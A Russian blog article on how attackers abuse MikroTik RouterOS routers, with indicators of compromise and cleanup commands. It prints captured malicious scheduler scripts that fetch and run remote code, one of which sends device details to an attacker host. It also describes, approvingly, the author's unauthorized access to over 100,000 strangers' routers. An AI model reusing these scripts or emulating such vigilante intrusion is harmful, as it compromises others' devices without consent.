Для чего хакерам Микротик и как я спрятал 100 тыс. RouterOS от ботнета +79


RouterOS очень мощный инструмент в руках профессионалов и ответственных специалистов. Но в руках новичков или тех, кто делает всё на «и так сойдёт» Mikrotik начинает жить своей жизнью и превращается в ноду ботнета.

Ещё в мае 2018 я писал статью с рекомендациями как защитить свой Микротик.

Как ни странно, но в сети до сих пор тысячи «открытых» роутеров Mikrotik и армия ботнета пополняется.

Я в свободное от работы и отдыха время искал уязвимые устройства по всей сети и делал настройки в соответствии со своими рекомендациями, то есть добавлял правила фаервола, которые закрывали доступ к роутеру не из локальной сети. В комментариях писал информацию об уязвимости и оставлял адрес телеграм-канала @router_os, где можно было мне задать интересующие вопросы (у нормального админа они должны были появиться).



С мая по сегодняшний день я «вырвал» из лап ботнета более 100 тысяч устройств Mikrotik.

Учитывая то, что я не могу выступить на MUM 2018 в Москве, то свой доклад я решил опубликовать на habr.com

В сети много аналитики как именно используются RouterOS хакерами (например здесь). Но моя статья основана лично на моём опыте.

Админы и их реакция


По всему миру админы маршрутизаторов рано или поздно обнаруживали у себя такую пасхалку.



/system note
/system note print
show-at-login: yes
note: I closed the vulnerability with a firewall. Please update RouterOS. You can say thanks on the WebMoney Z399578297824 or BTC 14qiYkk3nUgsdqQawiMLC1bUGDZWHowix1. My Telegram http://t.me/router_os


Большинство тихо закрывало дыру. Кто-то не поленились мне написать «спасибо». Но были и те, кто громко негодовал не разобравшись.

Нормальный специалист должен адекватно реагировать когда ему указывают на его ошибку.


За всё время мне написало не более 50 человек…

Так как реакция пользователей была минимальна, то я пришёл к выводу, что подавляющее большинство даже и не заметит, что что-то на роутере не так. Поэтому я стал дорабатывать свой скрипт, который помимо правил фаервола будет удалять известные мне backdoors, которые оставили злоумышленники.

Логично, что мой метод устраивает не всех. Но другого подхода для выполнения данной задачи я не придумал ещё.

Хакеры любят RouterOS


В подавляющем большинстве случаев я попадал на устройство, которое уже кем-то заражено. Я, к сожалению, не сразу стал анализировать их содержимое. Вот что я нашёл и что будет верным признаком, что ваш роутер скомпрометирован.

Web-прокси и Socks


Самое банальное использование маршрутизатора через стандартные вэб и socks прокси. Если вы их не используете, но они включены, то просто выключите их.

/ip proxy set enabled=no
/ip socks set enabled=no

Но чтобы просто так не получилось выключить хакер добавляет в шедулер скрипт, которой прокси включит через некоторое время:

/system script
/system scheduler
add interval=10m name="port 54321" on-event="port 54321" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-date=sep/02/2018 start-time=20:35:53
/system script
add name="port 54321" owner=gateway policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source="/\
ip firewall filter remove [/ip firewall filter find where comment ~ \"port\
\_[0-9]*\"];/ip socks set enabled=yes port=54321 max-connections=255 conne\
ction-idle-timeout=60;/ip socks access remove [/ip socks access find];/ip \
firewall filter add chain=input protocol=tcp port=54321 action=accept comm\
ent=\"port 54321\";/ip firewall filter move [/ip firewall filter find comm\
ent=\"port 54321\"] 1;"


Вы можете обнаружить у себя файл webproxy/error.html который прокси вам подсовывает, а он в свою очередь вызывает майнер.

Лишние параметры появляются и здесь:

/ip proxy access print
/ip socks access print


Script может всё


В 90% дырявых Микротиков имеются скрипты /system script и для них настроено расписание выполнения /system scheduler.

По расписанию скачивается скрипт, которой в дальнейшем выполняется.

Установка майнера
/system scheduler
add interval=11h name=upd113 on-event="/tool fetch url=http://gotan.bit:31415/\
01/error.html mode=http dst-path=webproxy/error.html" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd115 on-event=\
"/tool fetch url=http://gotan.bit:31415/01/u113.rsc mode=http" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd116 on-event="/import u113.rsc" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:12
add interval=1d name=Auto113 on-event="/system reboot" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:00:00
/system script
add name=script4_ owner=nivel2 policy=\
ftp,reboot,read,write,policy,test,password,sensitive source="/tool fetch a\
ddress=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http keep-resu\
lt=no"


Ещё один вариант скрипта, который после применения пытается частично спрятаться.
/system scheduler
add interval=11s name=MTIT on-event="/system script run MTIT" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
add interval=25m name="DDNS Serv" on-event="/system script run iDDNS" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
/system script
add name=MTIT owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=\
"/ping 10.12.0.26 interface=ether4 count=10"
add name=iDDNS owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=":global\
\_mac [/interface ethernet get 1 mac-address]\r\
\n:global port ([/ip service get winbox port].\"_\".[/ip socks get port].\
\"_\".[/ip proxy get port])\r\
\n:global info ([/ip socks get enabled].\"_\".[/ip proxy get enabled].\"_\
\".[/interface pptp-server server get enabled])\r\
\n:global cmd \"/\$mac/\$port/\$info/dns\"\r\
\n/tool fetch address=91.134.24.238 src-path=\$cmd mode=http dst-path=dns;\
:delay 3s\r\
\n/import dns;:delay 4s;/file remove dns"


Таким образом у злоумышленников всегда есть возможность «скормить» новый скрипт и, например, провести масштабную DDOS атаку.

Поэтому проверяйте эти места тщательно. На чистом RouterOS эти места пустые.

DST-NAT


К моему большому удивлению, но много таких устройств, на которых завёрнут трафик через /ip firewall nat.

Спам в dst-nat

/ip firewall nat
add action=masquerade chain=srcnat comment="default configuration"
add action=masquerade chain=srcnat
add action=dst-nat chain=dstnat dst-port=4444 protocol=tcp to-addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-port=8008 protocol=tcp to-addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=8008 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=443 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=25 protocol=\
tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.52 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.186 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.89.69 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.70 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.104 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.72.197 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.180.118 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=151.80.59.84 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444


Хороший способ скрыть свой реальный ip.

VPN


Как же без него. RouterOS умеет подымать различные виды vpn, но хакеры чаще всего используют pptp и L2TP.

Поэтому проверьте раздел /ppp secret

Даже если этот раздел пуст, то ушлые хакеры могут авторизоваться и через Radius.
Проверяем наличие записей /radius print
Если вы ничего не настраивали, то там должно быть пусто. В противном случае стоит очистить:
/radius remove numbers=[/radius find ]
И запретить использовать Radius
/ppp aaa set use-radius=no use-circuit-id-in-nas-port-id=no
Отключаем использование Radius для авторизации на устройстве
/user aaa set use-radius=no

Если вы не используйте vpn, то отключите его
/interface l2tp-server server set enabled=no
/interface pptp-server server set enabled=no
/interface sstp-server server set enabled=no


DNS static


Без фишига так же не обошлось. На роутерах в /ip dns static можно обнаружить и такое


Всё очень просто: вы в адресную строку вбиваете адрес сайта, который вы знаете, а фактически попадаете на сервер злоумышлинника.

Удаляем содержимое

/ip dns static remove numbers=[/ip dns static find]

Урезание прав админа



UPD: Так же есть группа роутеров, где хакер урезал права у admin и завёл своего с полными правами (например router и cnt), либо просто отбирает права и обновляет прошивку на последнюю.



содержимое /user в первом случае
[router@MikroTik] > /user print
Flags: X — disabled
# NAME GROUP ADDRESS LAST-LOGGED-IN
0 ;;; system default user
admin admin sep/18/2018 15:08:45
1 dima full sep/14/2018 19:54:00
2 router full sep/26/2018 09:23:41

[router@MikroTik] > /user group print
0 name=«read» policy=local,telnet,ssh,reboot,read,test,winbox,password,web,sniff,sensitive,api,romon,tikapp,!ftp,!write,!policy,!dude skin=default

1 name=«write» policy=local,telnet,ssh,reboot,read,write,test,winbox,password,web,sniff,sensitive,api,romon,tikapp,!ftp,!policy,!dude skin=default

2 name=«full» policy=local,telnet,ssh,ftp,reboot,read,write,policy,test,winbox,password,web,sniff,sensitive,api,romon,dude,tikapp skin=default

3 name=«admin» policy=local,ftp,reboot,read,write,test,winbox,password,web,sniff,sensitive,api,!telnet,!ssh,!policy,!romon,!dude,!tikapp skin=default


Если у Вас картинка как на скрине, то есть положительный опыт разблокировки таких и я могу попробовать помочь Вам. Напишите мне.

Во втором случае решения не знаю.

Packet Sniffer


Коллеги из Лаборатории Касперского упомянули кражу трафика по средствам его перенаправления на неизвестный узел.

Выключить его можно так:
/tool sniffer stop
/tool sniffer set streaming-enabled=no filter-ip-protocol="" filter-port="" filter-interface="" filter-stream=no


Проблема продукции Mikrotik


Абсолютно защищённых систем не существует. А массовое распространение продукции Mikrotik так же повлекло массовое изучение этих устройств.
Так как функционал RouterOS позволяет выполнять огромное количество задач он интересен и хакерам в том числе.

Из-за того, что продукт очень динамично развивается, то и скорость появления новых «дыр» тоже велико. Не смотря на это компания Микротик оперативно выпускает заплатки для своих систем.

Выход


На сегодняшний день единственным верным решением для защиты RouterOS — это корректно настроенный фаервол, который работает по принципу «запрещено всё, что явно не разрешено».
А всё потому, что Микротик использует классический фаервол Linux, который годами оттачивался армией специалистов.

Если требуется доступ к устройству из глобальной сети, то используйте принцип "port knocking". Принцип «fail2ban» себя не всегда оправдывает, так как всё равно обнаруживает устройство.

Глобальные решения


Режим ламера


В виду того, что устройства очень дешёвые, то их покупают пользователи, которые не имеют специальных знаний. Компании Mikrotik необходимо разработать интерфейс «ламера», который имеет минимальное количество настроек как и большинство SOHO роутеров. Причём он должен быть по умолчанию. А расширенный режим пользователь должен включить осознано сам. Текущий «Quick set» не достаточно хорош. Более того из-за изобилия кнопок юзер может и не заметить эту функцию.

Bug analyzer


Так же необходим модуль, который проводит анализ текущей конфигурации на возможные уязвимости и уведомляет пользователя, если считает, что роутер может быть скомпрометирован. Этот модуль должен подгружать «базу знаний», которую наполняют сотрудники Mikrotik на основании распространённых ошибок. А в случае серьёзных уязвимостей включать «аварийный» режим.
Если я смог систематизировать часть угроз, то разработчики и подавно…

FireWall — как услуга провайдеров


Рынок «умных» устройств очень бурно развиваются и они далеко не все хорошо защищены. Большинство людей, которые их приобретают, так же не владеют специальными знаниями, чтобы самостоятельно защитить свои гаджеты.

Поэтому интернет провайдерам пора создать коммерческую услугу по защите таких гаджетов. Банально пользователь в личном кабинете указывает какие порты открыть из интернета.
Так же провайдеры могут создать централизованную базу по существующим устройствам и их нормальным потребностям. Пользователь указывает в ЛК какие устройства у него используются. В случае нестандартного поведения такого устройства — уведомлять пользователя.
Я считаю, что рынок уже созрел для такой услуги.

В этой услуге есть следующие плюсы:

  1. Для провайдера ещё одна статья дохода
  2. Сокращение паразитного трафика
  3. Сокращаем рекрутинг устройств в ботнет
  4. Популяризация развивающихся услуг «умный дом»
  5. Пользователи могут дальше не заморачиваться своей безопасностью.

Немного о себе


Попытаюсь ответить на вопросы, которые наверняка мне зададут.

  1. Я работаю на должности не связанной с Mikrotik и сетями в общем.
  2. Тем не менее у меня есть сертификат MTCNA.
  3. Микротик — моё хобби. Всё, что я делаю — мне просто нравится. Так сказать «по фану».
  4. Почему не устроился на работу по профилю? Те кто в нашем городе покупает mikrotik много платить ЗП не могут. Те, кто может мне платить достойную ЗП — покупают cisco.
  5. В комментах в фаерволе я указывал свои кошельки, но с мая мне закинули всего около $40. В телеграм писали из разных стран, мол у них нет wmz, но всё равно «спасибо».

P.S.:


Поделитесь вашим опытом как ещё хакеры могут использовать Mikrotik.




К сожалению, не доступен сервер mySQL